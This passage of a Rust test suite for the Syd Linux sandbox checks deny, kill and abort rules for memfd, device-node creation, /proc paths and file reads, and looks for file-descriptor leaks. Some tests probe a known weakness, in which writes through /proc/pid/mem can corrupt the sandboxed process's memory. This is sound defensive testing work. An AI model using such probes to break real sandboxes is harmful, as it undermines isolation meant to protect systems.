fn test_syd_mfd_acl_ftruncate_2() -> TestResult {
// Deny memfd allocation by name.
let status = syd()
.p("off")
.m("sandbox/truncate:on")
.m("allow/truncate+/***")
.m("deny/truncate+!memfd:mfd_ftruncate")
.do_("mfd_ftruncate", ["mfd_ftruncate", "0"])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code != ENOSYS {
assert_status_access_denied!(status);
} else {
eprintln!("memfd_create(2) is not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_mfd_acl_ftruncate_3() -> TestResult {
// Deny memfd allocation by glob.
let status = syd()
.p("off")
.m("sandbox/truncate:on")
.m("allow/truncate+/***")
.m("deny/truncate+!memfd:m?d_ftr.nc?t*")
.do_("mfd_ftruncate", ["mfd_ftruncate", "0"])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code != ENOSYS {
assert_status_access_denied!(status);
} else {
eprintln!("memfd_create(2) is not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_mfd_acl_ftruncate_4() -> TestResult {
// Deny hugetlb memfd allocation by name.
let flags = MFdFlags::MFD_HUGETLB.bits().to_string();
let status = syd()
.p("off")
.m("sandbox/truncate:on")
.m("allow/truncate+/***")
.m("allow/truncate+!memfd:*")
.m("deny/truncate+!memfd-hugetlb:mfd_ftruncate")
.do_("mfd_ftruncate", ["mfd_ftruncate", flags.as_str()])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
// ENOSYS: memfd_create(2) is not supported.
// EINVAL: MFD_HUGETLB is not supported.
if !matches!(code, ENOSYS | EINVAL) {
assert_status_access_denied!(status);
} else {
eprintln!("memfd_create(2) is not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_mfd_acl_ftruncate_5() -> TestResult {
// Deny hugetlb memfd allocation by glob.
let flags = MFdFlags::MFD_HUGETLB.bits().to_string();
let status = syd()
.p("off")
.m("sandbox/truncate:on")
.m("allow/truncate+/***")
.m("allow/truncate+!memfd:*")
.m("deny/truncate+!memfd-hugetlb:m?d_ftr.nc?t*")
.do_("mfd_ftruncate", ["mfd_ftruncate", flags.as_str()])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
// ENOSYS: memfd_create(2) is not supported.
// EINVAL: MFD_HUGETLB is not supported.
if !matches!(code, ENOSYS | EINVAL) {
assert_status_access_denied!(status);
} else {
eprintln!("memfd_create(2) is not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_secretmem_acl_create_1() -> TestResult {
// Sandboxing is off, memfd_secret is ok.
let status = syd()
.p("off")
.do_("mfd_secret", ["0"])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code != ENOSYS {
assert_status_ok!(status);
} else {
eprintln!("memfd_secret(2) is not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_secretmem_acl_create_2() -> TestResult {
// Deny secret memfd creation by name.
let status = syd()
.p("off")
.m("sandbox/create:on")
.m("allow/create+/***")
.m("deny/create+!secretmem")
.do_("mfd_secret", ["0"])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code != ENOSYS {
assert_status_access_denied!(status);
} else {
eprintln!("memfd_secret(2) is not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_secretmem_acl_ftruncate_1() -> TestResult {
// Sandboxing is off, memfd_secret is ok.
let status = syd()
.p("off")
.do_("mfd_secret_ftruncate", ["0"])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code != ENOSYS {
assert_status_ok!(status);
} else {
eprintln!("memfd_secret(2) is not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_secretmem_acl_ftruncate_2() -> TestResult {
// Deny secret memfd allocation by name.
let status = syd()
.p("off")
.m("sandbox/truncate:on")
.m("allow/truncate+/***")
.m("deny/truncate+!secretmem")
.do_("mfd_secret_ftruncate", ["0"])
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code != ENOSYS {
assert_status_access_denied!(status);
} else {
eprintln!("memfd_secret(2) is not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_mfd_copy_from_proc_version() -> TestResult {
skip_unless_available!("cp", "sh");
skip_unless_gnu!("cp");
let status = syd()
.p("fs")
.m("sandbox/lpath:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.args(["sh", "-cex"])
.arg("exec cp /proc/version .")
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mfd_copy_from_proc_sys_kernel_osrelease() -> TestResult {
skip_unless_available!("cp", "sh");
skip_unless_gnu!("cp");
let status = syd()
.p("fs")
.m("sandbox/lpath:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.args(["sh", "-cex"])
.arg("exec cp /proc/sys/kernel/osrelease .")
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mfd_copy_from_proc_self_status() -> TestResult {
skip_unless_available!("cp", "sh");
skip_unless_gnu!("cp");
let status = syd()
.p("fs")
.m("sandbox/lpath:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.args(["sh", "-cex"])
.arg("exec cp /proc/self/status .")
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mfd_copy_from_etc_machine_id() -> TestResult {
skip_unless_available!("cp", "sh");
skip_unless_gnu!("cp");
skip_unless_exists!("/etc/machine-id");
let status = syd()
.p("fs")
.m("sandbox/lpath:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.args(["sh", "-cex"])
.arg("exec cp /etc/machine-id .")
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mfd_readlink_proc_version() -> TestResult {
skip_unless_available!("readlink", "bash");
let status = syd()
.p("fs")
.m("sandbox/lpath:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.args(["bash", "-cex"])
.arg("exec 42</proc/version; l=$(readlink /proc/self/fd/42); test x\"$l\" = x/proc/version")
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mfd_readlink_proc_sys_kernel_osrelease() -> TestResult {
skip_unless_available!("readlink", "bash");
let status = syd()
.p("fs")
.m("sandbox/lpath:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.args(["bash", "-cex"])
.arg("exec 42</proc/sys/kernel/osrelease; l=$(readlink /proc/self/fd/42); test x\"$l\" = x/proc/sys/kernel/osrelease")
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mfd_readlink_proc_self_status() -> TestResult {
skip_unless_available!("readlink", "bash");
let status = syd()
.p("fs")
.m("sandbox/lpath:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.args(["bash", "-cex"])
.arg("exec 42</proc/self/status; l=$(readlink /proc/self/fd/42); test x\"$l\" = x/proc/$$/status")
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_mfd_readlink_etc_machine_id() -> TestResult {
skip_unless_available!("readlink", "bash");
skip_unless_exists!("/etc/machine-id");
let status = syd()
.p("fs")
.m("sandbox/lpath:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.args(["bash", "-cex"])
.arg("exec 42</etc/machine-id; l=$(readlink /proc/self/fd/42); test x\"$l\" = x/etc/machine-id")
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_replace_proc_self_stat_allow() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("kill/stat+/proc/*/fd")
.m("allow/stat+/proc/self/fd")
.log("notice")
.do_("stat", ["/proc/self/fd"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_replace_proc_self_stat_deny() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("kill/stat+/proc/*/fd")
.m("allow/stat+/proc/self/fd")
.m("deny/stat+/proc/*/fd")
.log("notice")
.do_("stat", ["/proc/self/fd"])
.status()
.expect("execute syd");
assert_status_hidden!(status);
Ok(())
}
fn test_syd_replace_proc_self_stat_kill() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("kill/stat+/proc/*/fd")
.m("allow/stat+/proc/self/fd")
.m("kill/stat+/proc/*/fd")
.log("notice")
.do_("stat", ["/proc/self/fd"])
.status()
.expect("execute syd");
assert_status_killed!(status);
Ok(())
}
fn test_syd_replace_proc_self_stat_abort() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("kill/stat+/proc/*/fd")
.m("allow/stat+/proc/self/fd")
.m("abort/stat+/proc/*/fd")
.log("notice")
.do_("stat", ["/proc/self/fd"])
.status()
.expect("execute syd");
assert_status_aborted!(status);
Ok(())
}
fn test_syd_replace_proc_self_chdir_allow() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("kill/chdir+/proc/*/fd")
.m("allow/chdir+/proc/self/fd")
.log("notice")
.do_("chdir", ["/proc/self/fd"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_replace_proc_self_chdir_deny() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("kill/chdir+/proc/*/fd")
.m("allow/chdir+/proc/self/fd")
.m("deny/chdir+/proc/*/fd")
.log("notice")
.do_("chdir", ["/proc/self/fd"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
fn test_syd_replace_proc_self_chdir_kill() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("kill/chdir+/proc/*/fd")
.m("allow/chdir+/proc/self/fd")
.m("kill/chdir+/proc/*/fd")
.log("notice")
.do_("chdir", ["/proc/self/fd"])
.status()
.expect("execute syd");
assert_status_killed!(status);
Ok(())
}
fn test_syd_replace_proc_self_chdir_abort() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("kill/chdir+/proc/*/fd")
.m("allow/chdir+/proc/self/fd")
.m("abort/chdir+/proc/*/fd")
.log("notice")
.do_("chdir", ["/proc/self/fd"])
.status()
.expect("execute syd");
assert_status_aborted!(status);
Ok(())
}
fn test_syd_mknod_bdev_1() -> TestResult {
// Block device creation leads to termination by default.
let status = syd()
.p("off")
.do_("mknod_dev", ["bdev"])
.status()
.expect("execute syd");
assert_status_sigsys!(status);
Ok(())
}
fn test_syd_mknod_bdev_2() -> TestResult {
// Deny block device creation by name with trace/allow_unsafe_mkbdev:1.
let status = syd()
.p("off")
.m("trace/allow_unsafe_mkbdev:1")
.m("sandbox/mkbdev:on")
.m("allow/mkbdev+/***")
.m("deny/mkbdev+/**/bdev")
.do_("mknod_dev", ["bdev"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
fn test_syd_0_mknod_bdev_3() -> TestResult {
skip_unless_cap!("mknod");
// Block device creation is allowed.
let status = syd()
.p("off")
.m("trace/allow_unsafe_mkbdev:1")
.m("sandbox/mkbdev:on")
.m("allow/mkbdev+/***")
.do_("mknod_dev", ["bdev"])
.status()
.expect("execute syd");
// We may get EPERM if in a container.
assert_status_code_matches!(status, 0 | EPERM);
Ok(())
}
fn test_syd_mknod_cdev_1() -> TestResult {
// Character device creation leads to termination by default.
let status = syd()
.p("off")
.do_("mknod_dev", ["cdev"])
.status()
.expect("execute syd");
assert_status_sigsys!(status);
Ok(())
}
fn test_syd_mknod_cdev_2() -> TestResult {
// Deny character device creation by name with trace/allow_unsafe_mkcdev:1.
let status = syd()
.p("off")
.m("trace/allow_unsafe_mkcdev:1")
.m("sandbox/mkcdev:on")
.m("allow/mkcdev+/***")
.m("deny/mkcdev+/**/cdev")
.do_("mknod_dev", ["cdev"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
fn test_syd_0_mknod_cdev_3() -> TestResult {
skip_unless_cap!("mknod");
// Character device creation is allowed.
let status = syd()
.p("off")
.m("trace/allow_unsafe_mkcdev:1")
.m("sandbox/mkcdev:on")
.m("allow/mkcdev+/***")
.do_("mknod_dev", ["cdev"])
.status()
.expect("execute syd");
// We may get EPERM if in a container.
assert_status_code_matches!(status, 0 | EPERM);
Ok(())
}
fn test_syd_mknodat_bdev_1() -> TestResult {
// Block device creation leads to termination by default.
let status = syd()
.p("off")
.do_("mknodat_dev", ["bdev"])
.status()
.expect("execute syd");
assert_status_sigsys!(status);
Ok(())
}
fn test_syd_mknodat_bdev_2() -> TestResult {
// Deny block device creation by name with trace/allow_unsafe_mkbdev:1.
let status = syd()
.p("off")
.m("trace/allow_unsafe_mkbdev:1")
.m("sandbox/mkbdev:on")
.m("allow/mkbdev+/***")
.m("deny/mkbdev+/**/bdev")
.do_("mknodat_dev", ["bdev"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
fn test_syd_mknodat_bdev_3() -> TestResult {
// Block device creation is allowed.
let status = syd()
.p("off")
.m("trace/allow_unsafe_mkbdev:1")
.m("sandbox/mkbdev:on")
.m("allow/mkbdev+/***")
.do_("mknodat_dev", ["bdev"])
.status()
.expect("execute syd");
// We may get EPERM if in a container.
assert_status_code_matches!(status, 0 | EPERM);
Ok(())
}
fn test_syd_mknodat_cdev_1() -> TestResult {
// Character device creation leads to termination by default.
let status = syd()
.p("off")
.do_("mknodat_dev", ["cdev"])
.status()
.expect("execute syd");
assert_status_sigsys!(status);
Ok(())
}
fn test_syd_mknodat_cdev_2() -> TestResult {
// Deny character device creation by name with trace/allow_unsafe_mkcdev:1.
let status = syd()
.p("off")
.m("trace/allow_unsafe_mkcdev:1")
.m("sandbox/mkcdev:on")
.m("allow/mkcdev+/***")
.m("deny/mkcdev+/**/cdev")
.do_("mknodat_dev", ["cdev"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
fn test_syd_0_mknodat_cdev_3() -> TestResult {
skip_unless_cap!("mknod");
// Character device creation is allowed.
let status = syd()
.p("off")
.m("trace/allow_unsafe_mkcdev:1")
.m("sandbox/mkcdev:on")
.m("allow/mkcdev+/***")
.do_("mknodat_dev", ["cdev"])
.status()
.expect("execute syd");
// We may get EPERM if in a container.
assert_status_code_matches!(status, 0 | EPERM);
Ok(())
}
fn test_syd_mknod_dev_truncation() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("trace/allow_unsafe_mkcdev:1")
.do_("mknod_dev_truncation", NONE)
.status()
.expect("execute syd");
// mknod(2) isn't available on ARM.
let code = status.code().unwrap_or(127);
if code != ENOSYS {
assert_status_permission_denied!(status);
} else {
eprintln!("mknod system call not supported, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
}
Ok(())
}
fn test_syd_mknodat_dev_truncation() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("trace/allow_unsafe_mkcdev:1")
.do_("mknodat_dev_truncation", NONE)
.status()
.expect("execute syd");
assert_status_permission_denied!(status);
Ok(())
}
fn test_syd_renameat2_cdev_1() -> TestResult {
// Whiteout file creation leads to termination by default.
skip_unless_cap!("mknod");
let mut src = File::create("src").unwrap();
src.write_all(b"data").unwrap();
drop(src);
let status = syd()
.p("off")
.do_("rename_whiteout", ["src", "dst"])
.status()
.expect("execute syd");
assert_status_sigsys!(status);
Ok(())
}
fn test_syd_renameat2_cdev_2() -> TestResult {
// Deny whiteout file creation by name with trace/allow_unsafe_mkcdev:1.
skip_unless_cap!("mknod");
let mut src = File::create("src").unwrap();
src.write_all(b"data").unwrap();
drop(src);
let status = syd()
.p("off")
.m("trace/allow_unsafe_mkcdev:1")
.m("sandbox/mkcdev,rename:on")
.m("allow/mkcdev,rename+/***")
.m("deny/mkcdev+/**/src")
.do_("rename_whiteout", ["src", "dst"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
fn test_syd_renameat2_cdev_3() -> TestResult {
// Deny whiteout file creation by name with trace/allow_unsafe_mkcdev:1.
skip_unless_cap!("mknod");
let mut src = File::create("src").unwrap();
src.write_all(b"data").unwrap();
drop(src);
let status = syd()
.p("off")
.m("trace/allow_unsafe_mkcdev:1")
.m("sandbox/mkcdev,rename:on")
.m("allow/mkcdev,rename+/***")
.m("deny/rename+/**/src")
.do_("rename_whiteout", ["src", "dst"])
.status()
.expect("execute syd");
assert_status_access_denied!(status);
Ok(())
}
fn test_syd_renameat2_cdev_4() -> TestResult {
// Whiteout file creation is allowed.
skip_unless_cap!("mknod");
let mut src = File::create("src").unwrap();
src.write_all(b"data").unwrap();
drop(src);
let status = syd()
.p("off")
.m("trace/allow_unsafe_mkcdev:1")
.m("sandbox/mkcdev,rename:on")
.m("allow/mkcdev,rename+/***")
.do_("rename_whiteout", ["src", "dst"])
.status()
.expect("execute syd");
// We may get EPERM if in a container.
assert_status_code_matches!(status, 0 | EPERM);
Ok(())
}
fn test_syd_nftw_dev() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("nftw", ["/dev"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_nftw_proc() -> TestResult {
// /proc/kcore overflows st_size.
skip_if_32bin!();
let status = syd()
.p("fs")
.m("allow/fs+binfmt_misc,nfsd")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("nftw", ["/proc"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_stat_write_to_non_writable_linux() -> TestResult {
skip_if_32bin_64host!();
// This test checks page protections without cross memory attach.
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "stat_write_to_non_writable")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_stat_write_to_non_writable_default() -> TestResult {
skip_if_32bin_64host!();
// The default access method process_vm_{read,write}v(2) should
// honour page protections.
// Note, this test must fail on a kernel built with the
// CONFIG_CROSS_MEMORY_ATTACH disabled.
// TODO: Check running kernel config by checking ENOSYS
// to process_vm_readv(2)!.
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("stat_write_to_non_writable", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_stat_write_to_non_writable_procmem() -> TestResult {
skip_if_32bin_64host!();
// The access method using /proc/pid/mem does not honour
// page protections so technically Syd emulator process
// can be confused into corrupting sandbox process memory
// by writing to non-writable regions.
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("trace/memory_access:1")
.do_("stat_write_to_non_writable", NONE)
.status()
.expect("execute syd");
// Note, we cannot rely on an exit value here,
// as the process will likely crash but it may not.
assert_status_not_ok!(status);
Ok(())
}
fn test_syd_stat_write_to_read_exec_linux() -> TestResult {
skip_if_32bin_64host!();
// This test checks page protections without cross memory attach.
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", "stat_write_to_read_exec")
.status()
.expect("execute syd-test-do");
assert_status_ok!(status);
Ok(())
}
fn test_syd_stat_write_to_read_exec_default() -> TestResult {
skip_if_32bin_64host!();
// The default access method process_vm_{read,write}v(2) should
// honour page protections.
// Note, this test must fail on a kernel built with the
// CONFIG_CROSS_MEMORY_ATTACH disabled.
// TODO: Check running kernel config by checking ENOSYS
// to process_vm_readv(2)!.
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("stat_write_to_read_exec", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_stat_write_to_read_exec_procmem() -> TestResult {
skip_if_32bin_64host!();
// The access method using /proc/pid/mem does not honour
// page protections so technically Syd emulator process
// can be confused into corrupting sandbox process memory
// by writing to non-writable regions.
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("trace/memory_access:1")
.do_("stat_write_to_read_exec", NONE)
.status()
.expect("execute syd");
// Note, we cannot rely on an exit value here,
// as the process will likely crash but it may not.
assert_status_not_ok!(status);
Ok(())
}
fn test_syd_stat_compare_root_inode_1() -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/all:on")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("stat_compare_root_inode", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_stat_compare_root_inode_2() -> TestResult {
let status = syd()
.p("fs")
.m("lock:exec")
.m("sandbox/lock:off")
.m("allow/all+/***")
.do_("stat_compare_root_inode", NONE)
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_compat_stat_linux() -> TestResult {
compat_stat_test_linux("compat_stat", "stat")
}
fn test_syd_compat_stat64_linux() -> TestResult {
compat_stat_test_linux("compat_stat64", "stat64")
}
fn test_syd_compat_fstat_linux() -> TestResult {
compat_stat_test_linux("compat_fstat", "fstat")
}
fn test_syd_compat_fstat64_linux() -> TestResult {
compat_stat_test_linux("compat_fstat64", "fstat64")
}
fn test_syd_compat_statfs_linux() -> TestResult {
compat_stat_test_linux("compat_statfs", "statfs")
}
fn test_syd_compat_statfs64_linux() -> TestResult {
compat_stat_test_linux("compat_statfs64", "statfs64")
}
fn test_syd_compat_fstatfs_linux() -> TestResult {
compat_stat_test_linux("compat_fstatfs", "fstatfs")
}
fn test_syd_compat_fstatfs64_linux() -> TestResult {
compat_stat_test_linux("compat_fstatfs64", "fstatfs64")
}
fn test_syd_compat_stat_syd() -> TestResult {
compat_stat_test_syd("compat_stat", "stat")
}
fn test_syd_compat_stat64_syd() -> TestResult {
compat_stat_test_syd("compat_stat64", "stat64")
}
fn test_syd_compat_fstat_syd() -> TestResult {
compat_stat_test_syd("compat_fstat", "fstat")
}
fn test_syd_compat_fstat64_syd() -> TestResult {
compat_stat_test_syd("compat_fstat64", "fstat64")
}
fn test_syd_compat_statfs_syd() -> TestResult {
compat_stat_test_syd("compat_statfs", "statfs")
}
fn test_syd_compat_statfs64_syd() -> TestResult {
compat_stat_test_syd("compat_statfs64", "statfs64")
}
fn test_syd_compat_fstatfs_syd() -> TestResult {
compat_stat_test_syd("compat_fstatfs", "fstatfs")
}
fn test_syd_compat_fstatfs64_syd() -> TestResult {
compat_stat_test_syd("compat_fstatfs64", "fstatfs64")
}
fn compat_stat_test_linux(do_name: &str, sysname: &str) -> TestResult {
let status = Command::new(&*SYD_DO)
.env("SYD_TEST_DO", do_name)
.status()
.expect("execute syd-test-do");
let code = status.code().unwrap_or(127);
if code == ENOSYS {
eprintln!("{sysname} syscall not supported on this arch, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
} else {
assert_status_ok!(status);
}
Ok(())
}
fn compat_stat_test_syd(do_name: &str, sysname: &str) -> TestResult {
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("sandbox/stat:on")
.m("allow/all+/***")
.do_(do_name, NONE)
.status()
.expect("execute syd");
let code = status.code().unwrap_or(127);
if code == ENOSYS {
eprintln!("{sysname} syscall not supported on this arch, skipping!");
env::set_var("SYD_TEST_SOFT_FAIL", "1");
} else {
assert_status_ok!(status);
}
Ok(())
}
fn test_syd_exec_program_check_fd_leaks_bare() -> TestResult {
skip_if_32bin_64host!();
skip_unless_available!("cc", "sh");
let status = Command::new("sh")
.arg("-cex")
.arg(
r##"
cat > exec.c <<EOF
#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(void) {
DIR *dir;
struct dirent *entry;
int fd_leaks = 0, dir_fd;
// Open the directory containing file descriptors
dir = opendir("/proc/self/fd");
if (!dir) {
perror("Failed to open /proc/self/fd");
return -1; // Return -1 in case of error
}
// Get the file descriptor for the directory stream
dir_fd = dirfd(dir);
if (dir_fd == -1) {
perror("Failed to get file descriptor for directory");
closedir(dir);
return -1; // Return -1 in case of error
}
// Iterate over all entries in the directory
while ((entry = readdir(dir)) != NULL) {
int fd;
char *end;
// Convert the name of the entry to an integer
fd = strtol(entry->d_name, &end, 10);
if (*end != '\0' || entry->d_name == end) continue; // Skip non-integer entries
// Build the path to the symbolic link for the file descriptor
char link_path[4096];
char target_path[4096];
snprintf(link_path, sizeof(link_path), "/proc/self/fd/%d", fd);
ssize_t len = readlink(link_path, target_path, sizeof(target_path) - 1);
if (len > 0) {
target_path[len] = '\0'; // Ensure null termination
// We ignore standard input, output, and error which are 0, 1, and 2
if (fd <= 2) {
printf("Ignoring standard open fd %d -> %s...\n", fd, target_path);
} else if (fd == dir_fd) {
printf("Ignoring fd to current directory fd %d -> %s...\n", fd, target_path);
} else {
printf("!!! Leaked file descriptor %d -> %s !!!\n", fd, target_path);
fd_leaks++;
}
} else {
perror("Failed to read link");
fd_leaks++;
}
}
closedir(dir);
return fd_leaks;
}
EOF
cc -Wall -Wextra exec.c -o exec
"##,
)
.status()
.expect("execute sh");
assert_status_ok!(status);
// Ensure SYD_LOG_FD is not leaked as well.
let mut log_fd = unsafe { OwnedFd::from_raw_fd(256) };
dup2(std::io::stderr(), &mut log_fd).unwrap();
// Execute code.
//
// Set IPC socket to ensure it does not get leaked as well.
let status = syd()
.log_fd(256)
.p("off")
.m(format!(
"ipc:@syd-{}.sock",
env::var("SYD_TEST_NAME").unwrap()
))
.argv(["./exec"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
fn test_syd_exec_program_check_fd_leaks_wrap() -> TestResult {
skip_if_32bin_64host!();
skip_unless_available!("cc", "sh");
skip_unless_unshare!("user", "mount", "pid");
let status = Command::new("sh")
.arg("-cex")
.arg(
r##"
cat > exec.c <<EOF
#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(void) {
DIR *dir;
struct dirent *entry;
int fd_leaks = 0, dir_fd;
// Open the directory containing file descriptors
dir = opendir("/proc/self/fd");
if (!dir) {
perror("Failed to open /proc/self/fd");
return -1; // Return -1 in case of error
}
// Get the file descriptor for the directory stream
dir_fd = dirfd(dir);
if (dir_fd == -1) {
perror("Failed to get file descriptor for directory");
closedir(dir);
return -1; // Return -1 in case of error
}
// Iterate over all entries in the directory
while ((entry = readdir(dir)) != NULL) {
int fd;
char *end;
// Convert the name of the entry to an integer
fd = strtol(entry->d_name, &end, 10);
if (*end != '\0' || entry->d_name == end) continue; // Skip non-integer entries
// Build the path to the symbolic link for the file descriptor
char link_path[4096];
char target_path[4096];
snprintf(link_path, sizeof(link_path), "/proc/self/fd/%d", fd);
ssize_t len = readlink(link_path, target_path, sizeof(target_path) - 1);
if (len > 0) {
target_path[len] = '\0'; // Ensure null termination
// We ignore standard input, output, and error which are 0, 1, and 2
if (fd <= 2) {
printf("Ignoring standard open fd %d -> %s...\n", fd, target_path);
} else if (fd == dir_fd) {
printf("Ignoring fd to current directory fd %d -> %s...\n", fd, target_path);
} else {
printf("!!! Leaked file descriptor %d -> %s !!!\n", fd, target_path);
fd_leaks++;
}
} else {
perror("Failed to read link");
fd_leaks++;
}
}
closedir(dir);
return fd_leaks;
}
EOF
cc -Wall -Wextra exec.c -o exec
"##,
)
.status()
.expect("execute sh");
assert_status_ok!(status);
// Ensure SYD_LOG_FD is not leaked as well.
let mut log_fd = unsafe { OwnedFd::from_raw_fd(256) };
dup2(std::io::stderr(), &mut log_fd).unwrap();
// Execute code.
//
// Set IPC socket to ensure it does not get leaked as well.
let status = syd()
.log_fd(256)
.p("off")
.m(format!(
"ipc:@syd-{}.sock",
env::var("SYD_TEST_NAME").unwrap()
))
.m("unshare/user,pid:1")
.argv(["./exec"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if read sandboxing for open works to allow.
fn test_syd_read_sandbox_open_allow() -> TestResult {
skip_unless_available!("dd");
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("deny/read+/dev/***")
.m("allow/read+/dev/null")
.argv(["dd", "if=/dev/null"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if read sandboxing for open works to deny.
fn test_syd_read_sandbox_open_deny() -> TestResult {
skip_unless_available!("cat");
let status = syd()
.p("fs")
.m("sandbox/lock:off")
.m("allow/all+/***")
.m("deny/read+/dev/null")
.argv(["cat", "/dev/null"])
.status()
.expect("execute syd");
assert_status_not_ok!(status);
Ok(())
}
// Tests if stat sandboxing for chdir works to allow.
fn test_syd_chdir_sandbox_allow_1() -> TestResult {
skip_if_strace!();
skip_unless_available!("sh");
let status = syd()
.p("off")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.m("deny/chdir+/dev")
.m("allow/chdir+/dev")
.argv(["sh", "-cex", "cd /dev"])
.status()
.expect("execute syd");
assert_status_ok!(status);
Ok(())
}
// Tests if stat sandboxing for chdir works to allow.
fn test_syd_chdir_sandbox_allow_2() -> TestResult {
skip_unless_trusted!();
skip_unless_available!("sh");
let status = syd()
.p("off")
.m("trace/allow_unsafe_ptrace:1")
.m("sandbox/chdir:on")
.m("allow/chdir+/***")
.m("deny/chdir+/dev")
.m("allow/chdir+/dev")
.argv(["sh", "-cex", "cd /dev"])
.status()
